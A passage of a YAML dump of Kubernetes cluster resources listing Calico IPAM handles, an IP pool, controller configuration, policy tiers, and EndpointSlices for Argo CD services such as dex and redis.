    handleID: k8s-pod-network.4c918e3576a941a564d0c951cef0a2a400a6c150472e5893ca78c95544d1ef9d
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:13Z"
    generation: 1
    name: k8s-pod-network.51614435ad0efe35c5b8928493075dc9c1d324612b899fbc1bb20baed388f30a
    resourceVersion: "18007700"
    uid: ba4e15d1-e37d-4043-9c7f-2d43edd72090
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.51614435ad0efe35c5b8928493075dc9c1d324612b899fbc1bb20baed388f30a
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:11Z"
    generation: 1
    name: k8s-pod-network.59018b57eb12b49322d44407951c5a8bfcc579d4ceb59d4cc839fe915b61cb63
    resourceVersion: "18007619"
    uid: ca40e291-39f3-44bf-b653-651b94fd081f
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.59018b57eb12b49322d44407951c5a8bfcc579d4ceb59d4cc839fe915b61cb63
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:14Z"
    generation: 1
    name: k8s-pod-network.59e62c10d8fc9f820a84dab038336129005a5ade6f123c2dbf642054204a229d
    resourceVersion: "18007705"
    uid: a8cdc3a8-a33f-4492-b6a6-fa1a55fe937b
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.59e62c10d8fc9f820a84dab038336129005a5ade6f123c2dbf642054204a229d
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:15Z"
    generation: 1
    name: k8s-pod-network.5c8e66a80bcdf59cc11ce8f2a45e3651193b4584a0cdb2208a51bbde722c6614
    resourceVersion: "18007750"
    uid: 800380fa-beac-4eb5-a23b-9734225a6ec0
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.5c8e66a80bcdf59cc11ce8f2a45e3651193b4584a0cdb2208a51bbde722c6614
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:24:02Z"
    generation: 1
    name: k8s-pod-network.664f9524127c3d45e9626bee5fd8bf23b0d3df3fd13854de3a93c29a55c3ec13
    resourceVersion: "18033688"
    uid: a803e251-181b-4534-8c61-7b0f0877b507
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.664f9524127c3d45e9626bee5fd8bf23b0d3df3fd13854de3a93c29a55c3ec13
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:47Z"
    generation: 1
    name: k8s-pod-network.6b6a9425df8375060235e109fee8866cb8c78cb8960df452bf52478a7a7919f2
    resourceVersion: "18033453"
    uid: b7fa878c-6fb4-4bb9-b4d3-33d55882d1c3
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.6b6a9425df8375060235e109fee8866cb8c78cb8960df452bf52478a7a7919f2
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:13Z"
    generation: 1
    name: k8s-pod-network.783dc2572ce6248adfe92722d730f46062b6a3b8b7b5ecef4b34a755eda16bb9
    resourceVersion: "18007690"
    uid: 3064cd8c-eb80-4917-ac59-8743b388b2e5
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.783dc2572ce6248adfe92722d730f46062b6a3b8b7b5ecef4b34a755eda16bb9
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:45Z"
    generation: 1
    name: k8s-pod-network.85d1de46245d9bb00c03db56c40587b76f788deefd985221dc0b9d6bbdd7cf37
    resourceVersion: "18033404"
    uid: ba07fbd2-7f7e-4793-afaf-ff84b9e2c750
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.85d1de46245d9bb00c03db56c40587b76f788deefd985221dc0b9d6bbdd7cf37
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:18Z"
    generation: 1
    name: k8s-pod-network.87b9d832c0255f5913a3fbe7b28b7e88614df336726eff8cb5a8215598f29b34
    resourceVersion: "18046261"
    uid: 3fe8455e-b3f3-420a-b944-afccd95ab5f1
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.87b9d832c0255f5913a3fbe7b28b7e88614df336726eff8cb5a8215598f29b34
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:09Z"
    generation: 1
    name: k8s-pod-network.8848dab14a5ee5f3040dd972efadca08700422e01c040478f014d9a987ea22f0
    resourceVersion: "18007545"
    uid: e5a80da9-e398-4369-8660-43aeaa5c5835
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.8848dab14a5ee5f3040dd972efadca08700422e01c040478f014d9a987ea22f0
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:16Z"
    generation: 1
    name: k8s-pod-network.8d23dac970f232a18efee678a6bf03dc6fabc7eb52479e9c934b6507c4f65e5e
    resourceVersion: "18046193"
    uid: 19d81036-a1bb-4d1a-8177-8c307ab862c4
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.8d23dac970f232a18efee678a6bf03dc6fabc7eb52479e9c934b6507c4f65e5e
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:18Z"
    generation: 1
    name: k8s-pod-network.8eec6ba2c3256932a5a9f1125c99df2568e0747709e2a05c9f433ebdc5ceb2e5
    resourceVersion: "18046265"
    uid: 31cb3204-4776-48bf-9185-6bd8216bf691
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.8eec6ba2c3256932a5a9f1125c99df2568e0747709e2a05c9f433ebdc5ceb2e5
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:12Z"
    generation: 1
    name: k8s-pod-network.94e146f3e52ca0b130ea797a31b5d440b3ea86e5f8c71702b03f652e15170cd5
    resourceVersion: "18007646"
    uid: 3252188a-d10d-444c-b0d0-708ddb15df5e
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.94e146f3e52ca0b130ea797a31b5d440b3ea86e5f8c71702b03f652e15170cd5
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:47Z"
    generation: 1
    name: k8s-pod-network.9645ced926afbcc5be40ef1b1e1f906a51a6aca2c0ce9ebe9566bede9fca8029
    resourceVersion: "18033442"
    uid: 424839b6-09ae-41c7-b18a-6c5192d902da
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.9645ced926afbcc5be40ef1b1e1f906a51a6aca2c0ce9ebe9566bede9fca8029
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:20Z"
    generation: 1
    name: k8s-pod-network.9969f5254925c30481a04f6dfcee3450914ab69a9cc257e91d292a285f8716a4
    resourceVersion: "18046308"
    uid: 26707c7c-e6d9-49bb-8517-30540b7c6ce8
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.9969f5254925c30481a04f6dfcee3450914ab69a9cc257e91d292a285f8716a4
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:17Z"
    generation: 1
    name: k8s-pod-network.9bf19f44cc6f0498c5d0c57a5131912cdfaf4e9165ac365462076a780ca0596c
    resourceVersion: "18046216"
    uid: 5cbd1bc9-dcd0-4d41-a615-ca4ea52f65d1
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.9bf19f44cc6f0498c5d0c57a5131912cdfaf4e9165ac365462076a780ca0596c
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:49Z"
    generation: 1
    name: k8s-pod-network.a1d97f2a6c4665e9f4384982296e097027e9947a03da214e7378e9e610c952a4
    resourceVersion: "18033509"
    uid: bdbe4bf8-c448-46cc-b41c-b615d8806ad2
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.a1d97f2a6c4665e9f4384982296e097027e9947a03da214e7378e9e610c952a4
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:48Z"
    generation: 1
    name: k8s-pod-network.abf1974c8c97ee9739721f5a9ed64bfae9512f9a9cd8f88b1e3d6d87dd7ac938
    resourceVersion: "18033459"
    uid: da65a2aa-e413-45c0-a579-ef8e380f418d
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.abf1974c8c97ee9739721f5a9ed64bfae9512f9a9cd8f88b1e3d6d87dd7ac938
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:17Z"
    generation: 1
    name: k8s-pod-network.beb431fb3c1b6430c021106edefbed009c12be1f1a2875f392a0e44e9338b4ae
    resourceVersion: "18046206"
    uid: 28475918-0be5-4278-b0e5-88f640060638
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.beb431fb3c1b6430c021106edefbed009c12be1f1a2875f392a0e44e9338b4ae
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:17Z"
    generation: 1
    name: k8s-pod-network.c200875de33a1ce8dcfdc07a4d20eb32ab4a648437a938dec30b1e767a631ff9
    resourceVersion: "18046211"
    uid: 789eab4d-a1df-43d9-9663-f37346600b50
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.c200875de33a1ce8dcfdc07a4d20eb32ab4a648437a938dec30b1e767a631ff9
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:50Z"
    generation: 1
    name: k8s-pod-network.c46a25c74280e999c0971c87575a227230dc701154b43abae219d80e3aa26535
    resourceVersion: "18033535"
    uid: 2eaa4bb1-7cc7-48b6-b944-51aa64db9327
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.c46a25c74280e999c0971c87575a227230dc701154b43abae219d80e3aa26535
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:15Z"
    generation: 1
    name: k8s-pod-network.c52954762d6a2d668e2df869e7e7c6b4279cdb1c9c5922e1de9be37630ea26cf
    resourceVersion: "18007741"
    uid: be46b0fd-b84e-4052-961a-b873f9e4397e
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.c52954762d6a2d668e2df869e7e7c6b4279cdb1c9c5922e1de9be37630ea26cf
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:45Z"
    generation: 1
    name: k8s-pod-network.c809a6854b08aa0465df1a7535f91cf3c90f89829af3b044ce0458125fcea444
    resourceVersion: "18033400"
    uid: 2d28626d-5db9-4967-95c0-52d445260441
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.c809a6854b08aa0465df1a7535f91cf3c90f89829af3b044ce0458125fcea444
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:18Z"
    generation: 1
    name: k8s-pod-network.c9bc0f41aa6108d8ba43cebf0197e5e5115e6efecf1bb2d8f0fb6ddfdae7533f
    resourceVersion: "18046251"
    uid: f727435a-81cc-4884-afc4-8801a8e276a4
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.c9bc0f41aa6108d8ba43cebf0197e5e5115e6efecf1bb2d8f0fb6ddfdae7533f
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:53Z"
    generation: 1
    name: k8s-pod-network.cbbfed91349a9ad7662083ebb84a542d6cc2380959d79e913e59c551d5c6592e
    resourceVersion: "18033589"
    uid: 5870289b-0f8b-4608-a856-b0338306574d
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.cbbfed91349a9ad7662083ebb84a542d6cc2380959d79e913e59c551d5c6592e
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:52Z"
    generation: 1
    name: k8s-pod-network.ce2e0d5859b24e34a571342095a479f8a06e4f128dfe2aeabf771e46671ca45d
    resourceVersion: "18033566"
    uid: db569727-1523-4c19-b515-d180e618127d
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.ce2e0d5859b24e34a571342095a479f8a06e4f128dfe2aeabf771e46671ca45d
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:08Z"
    generation: 1
    name: k8s-pod-network.d14ab466cc29fa4766436a0817fd0f7039becfe2d190e60a90b48e9152b99db8
    resourceVersion: "18007532"
    uid: 5d5908cc-f76c-4501-a992-799612144607
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.d14ab466cc29fa4766436a0817fd0f7039becfe2d190e60a90b48e9152b99db8
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:48Z"
    generation: 1
    name: k8s-pod-network.d987a223ee034626a73a488b83a2526374906fd61a4413023cb67427b18bd7f1
    resourceVersion: "18033475"
    uid: cdcf905a-7fec-441b-921f-19ab85feef0a
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.d987a223ee034626a73a488b83a2526374906fd61a4413023cb67427b18bd7f1
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:14Z"
    generation: 1
    name: k8s-pod-network.ddaafb8d0fa1c177a907f443b22d1d3c4a6c59d5cba3be5ffc649a9f05fc704b
    resourceVersion: "18007734"
    uid: bc0c86df-7e8b-4e9c-a84b-be0167e5c173
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.ddaafb8d0fa1c177a907f443b22d1d3c4a6c59d5cba3be5ffc649a9f05fc704b
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:17Z"
    generation: 1
    name: k8s-pod-network.e066a3fb98671eaabd87b1712768e9c3c121e294a76699163ecc301c368ac195
    resourceVersion: "18046221"
    uid: ca3ae542-9011-45ef-bd0f-4e569c87a218
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.e066a3fb98671eaabd87b1712768e9c3c121e294a76699163ecc301c368ac195
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:59Z"
    generation: 1
    name: k8s-pod-network.e3fcc2b694622da21185f8447e8ccedff4ea8e6f454aee46afe72b8d2c6fd295
    resourceVersion: "18033649"
    uid: 6a02a80b-07b1-41d8-a12c-73873ede0859
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.e3fcc2b694622da21185f8447e8ccedff4ea8e6f454aee46afe72b8d2c6fd295
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:12Z"
    generation: 1
    name: k8s-pod-network.e4e6c0b84111ff14ec47324a7e255c62c04a1e9f4faaaeb1664ebd5255247170
    resourceVersion: "18007640"
    uid: 357377bb-9686-4456-ae08-f6a92053e353
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.e4e6c0b84111ff14ec47324a7e255c62c04a1e9f4faaaeb1664ebd5255247170
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:55Z"
    generation: 1
    name: k8s-pod-network.e6d8056e060fa1a0e7f1487aa7c708b11a6e9be91d43e5ab06d28ab7ecde10d0
    resourceVersion: "18033602"
    uid: d52f3a73-b706-4300-9136-8eb7676e31b8
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.e6d8056e060fa1a0e7f1487aa7c708b11a6e9be91d43e5ab06d28ab7ecde10d0
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:13Z"
    generation: 1
    name: k8s-pod-network.e7da772d6906275a84341e58c1573b11b5a3818e71ab76463256e8a4a4dd8bdc
    resourceVersion: "18007696"
    uid: 51defa21-69c3-4aa4-b1be-e587dedf4d7e
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.e7da772d6906275a84341e58c1573b11b5a3818e71ab76463256e8a4a4dd8bdc
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:47Z"
    generation: 1
    name: k8s-pod-network.e9fa95803795365472a24ff031acc2583005b1b9f75be1e4bffb7945b1ff472c
    resourceVersion: "18033448"
    uid: 52958872-a6c3-4c90-a07a-8d0cb9b702c6
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.e9fa95803795365472a24ff031acc2583005b1b9f75be1e4bffb7945b1ff472c
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:24:02Z"
    generation: 1
    name: k8s-pod-network.eb01ea57c59a4f8435928c65ee258d9be606849babafb0acf34f3598ca5448e8
    resourceVersion: "18033680"
    uid: f9d68028-b464-4a8e-8139-0fdf92b871f6
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.eb01ea57c59a4f8435928c65ee258d9be606849babafb0acf34f3598ca5448e8
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:15Z"
    generation: 1
    name: k8s-pod-network.f0efe7c931784f37c68763f68092051512107b778093cc958bbbb5d4c8cd0756
    resourceVersion: "18007768"
    uid: cb95039c-e968-47f3-9977-a13f16407caf
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.f0efe7c931784f37c68763f68092051512107b778093cc958bbbb5d4c8cd0756
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:48Z"
    generation: 1
    name: k8s-pod-network.f76300c006489a7a74a563fb57c99e54cf21cf9aa3c5e79ea8a3c7ec139d16f1
    resourceVersion: "18033470"
    uid: 6bcc2107-fbba-4e35-9317-76c9ee3be47e
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.f76300c006489a7a74a563fb57c99e54cf21cf9aa3c5e79ea8a3c7ec139d16f1
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:17Z"
    generation: 1
    name: k8s-pod-network.fab098608503f24b53cc5f6e4b008fdf25453250b9ec61e54dd6ad182f4c10d0
    resourceVersion: "18046231"
    uid: 8db34e14-729f-4c5c-b850-08492ff4bbcb
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.fab098608503f24b53cc5f6e4b008fdf25453250b9ec61e54dd6ad182f4c10d0
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:50Z"
    generation: 1
    name: k8s-pod-network.fcba08b4e3f7da93d2eff882b1de8aa3bed29d3da906806be7f21830193504dc
    resourceVersion: "18033523"
    uid: 5e7dd412-3295-4f5c-b67e-89c323437d2b
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.fcba08b4e3f7da93d2eff882b1de8aa3bed29d3da906806be7f21830193504dc
- apiVersion: crd.projectcalico.org/v1
  kind: IPPool
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:09:59Z"}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 1
    name: default-ipv4-ippool
    resourceVersion: "595"
    uid: bdfda4c0-28d7-4ffa-aef9-67c56c6f988f
  spec:
    allowedUses:
    - Workload
    - Tunnel
    assignmentMode: Automatic
    blockSize: 26
    cidr: 192.168.0.0/16
    ipipMode: Always
    natOutgoing: true
    nodeSelector: all()
    vxlanMode: Never
- apiVersion: crd.projectcalico.org/v1
  kind: KubeControllersConfiguration
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:10:17Z"}'
    creationTimestamp: "2025-09-21T11:10:17Z"
    generation: 4
    name: default
    resourceVersion: "6822941"
    uid: f440eb64-3963-4d56-a70b-a8199c85f841
  spec:
    controllers:
      namespace:
        reconcilerPeriod: 5m0s
      node:
        hostEndpoint:
          autoCreate: Disabled
        leakGracePeriod: 15m0s
        reconcilerPeriod: 5m0s
        syncLabels: Enabled
      policy:
        reconcilerPeriod: 5m0s
      serviceAccount:
        reconcilerPeriod: 5m0s
      workloadEndpoint:
        reconcilerPeriod: 5m0s
    etcdV3CompactionPeriod: 10m0s
    healthChecks: Enabled
    logSeverityScreen: Info
    prometheusMetricsPort: 9094
  status:
    environmentVars:
      DATASTORE_TYPE: kubernetes
      ENABLED_CONTROLLERS: node,loadbalancer
    runningConfig:
      controllers:
        loadBalancer: {}
        node:
          hostEndpoint:
            autoCreate: Disabled
            createDefaultHostEndpoint: Enabled
          leakGracePeriod: 15m0s
          syncLabels: Disabled
      etcdV3CompactionPeriod: 10m0s
      healthChecks: Enabled
      logSeverityScreen: Info
- apiVersion: crd.projectcalico.org/v1
  kind: Tier
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:09:59Z"}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 1
    name: adminnetworkpolicy
    resourceVersion: "598"
    uid: 705c481a-1067-4dd1-8a38-db4c6668f734
  spec:
    defaultAction: Pass
    order: 1000
- apiVersion: crd.projectcalico.org/v1
  kind: Tier
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:09:59Z"}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 1
    name: baselineadminnetworkpolicy
    resourceVersion: "599"
    uid: 254745b3-c17e-4ff0-89a9-9b7edbc8bed0
  spec:
    defaultAction: Pass
    order: 10000000
- apiVersion: crd.projectcalico.org/v1
  kind: Tier
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":"2025-09-21T11:09:59Z"}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 1
    name: default
    resourceVersion: "597"
    uid: fbc1877a-78ba-402e-ad94-4b76b3eb337b
  spec:
    defaultAction: Deny
    order: 1000000
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.226
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: argocd-applicationset-controller-6dc687dfdb-bbpnx
      namespace: argocd
      uid: 9549e405-5094-46b2-96ad-3e993e3f8a0e
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:57Z"
    creationTimestamp: "2025-09-21T20:15:16Z"
    generateName: argocd-applicationset-controller-
    generation: 1115
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: argo-cd-8.5.3
      kubernetes.io/service-name: argocd-applicationset-controller
    name: argocd-applicationset-controller-xhvrx
    namespace: argocd
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: argocd-applicationset-controller
      uid: dfa098aa-30aa-4879-a910-e0e2638ab466
    resourceVersion: "18033651"
    uid: b3a20c04-aee4-44b7-b01f-c8fe7006fa57
  ports:
  - name: http-webhook
    port: 7000
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.61.199
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-2
    targetRef:
      kind: Pod
      name: argocd-dex-server-6559c6dd79-kk2j6
      namespace: argocd
      uid: 99a12250-7fd6-49d8-ad5a-6c581d694263
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:52Z"
    creationTimestamp: "2025-09-21T20:15:17Z"
    generateName: argocd-dex-server-
    generation: 1503
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpointslice.kubernetes.io/managed-by: endpointslice-controller.k8s.io
      helm.sh/chart: argo-cd-8.5.3
      kubernetes.io/service-name: argocd-dex-server
    name: argocd-dex-server-vmbzz
    namespace: argocd
    ownerReferences:
    - apiVersion: v1
      blockOwnerDeletion: true
      controller: true
      kind: Service
      name: argocd-dex-server
      uid: 08033d2e-f28c-4de4-beb7-074b33870175
    resourceVersion: "18033581"
    uid: 7bb83c33-8781-4445-8533-f851c09f0680
  ports:
  - name: http
    port: 5556
    protocol: TCP
  - name: grpc
    port: 5557
    protocol: TCP
- addressType: IPv4
  apiVersion: discovery.k8s.io/v1
  endpoints:
  - addresses:
    - 192.168.34.39
    conditions:
      ready: true
      serving: true
      terminating: false
    nodeName: k8s-m-3
    targetRef:
      kind: Pod
      name: argocd-redis-946cd9d9f-j9nkk
      namespace: argocd
      uid: 2d1f1800-cb6f-4c7e-a628-910606365611
  kind: EndpointSlice
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:20Z"
    creationTimestamp: "2025-09-21T20:15:17Z"
    generateName: argocd-redis-
    generation: 970
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
